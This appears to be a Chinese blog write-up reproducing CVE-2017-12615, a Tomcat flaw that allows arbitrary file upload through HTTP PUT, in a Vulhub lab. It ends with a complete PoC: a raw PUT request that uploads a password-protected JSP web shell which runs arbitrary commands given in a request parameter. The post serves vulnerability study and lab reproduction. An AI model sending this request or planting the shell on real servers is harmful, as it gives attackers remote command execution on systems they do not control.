CVE-2017-12615 Tomcat 任意文件写入漏洞

发布于 2021-08-06  72 次阅读


一、漏洞描述

  • Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。
  • CVE-2017-12615漏洞:当 Tomcat 运行主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行

二、漏洞信息

  • 漏洞名称:Tomcat任意文件上传漏洞
  • 漏洞编号:CVE-2017-12615
  • 漏洞影响:上传包含任意代码的文件,并被服务器执行。
  • 影响版本:Apache Tomcat 7.0.0 - 7.0.81 (如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都,任意操作系统都可能存在该漏洞)

三、漏洞复现

1、环境搭建

使用VulHub自动搭建漏洞环境

1. cd /vulhub/tomcat/CVE-2017-12615 # 进入当前漏洞路径
2. docker-compose build
3. docker-compose up -d

查看/usr/local/tomcat/conf/web.xml,确保readonly的默认值为false

image-20210720200917991

访问127.0.0.1:8080出现Tomcat初始化页面 ,证明漏洞环境搭建成功

2、攻击流程

  • 进入Tomcat初始化页面,使用burp抓包。
image-20210720202117996
  • 对数据包进行修改并重发。
image-20210720202501840
  • 访问生成文件,确保漏洞生效
image-20210720202609838
  • 写入JSP木马,并验证漏洞的可行性
image-20210720203003223
image-20210720204951622

四、漏洞POC

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.43.41:1234
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1C7C2164EA216AB9FAD7DBD1FACC290D
Connection: close
Content-Length: 374

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

参考文章

https://www.seebug.org/vuldb/ssvid-96557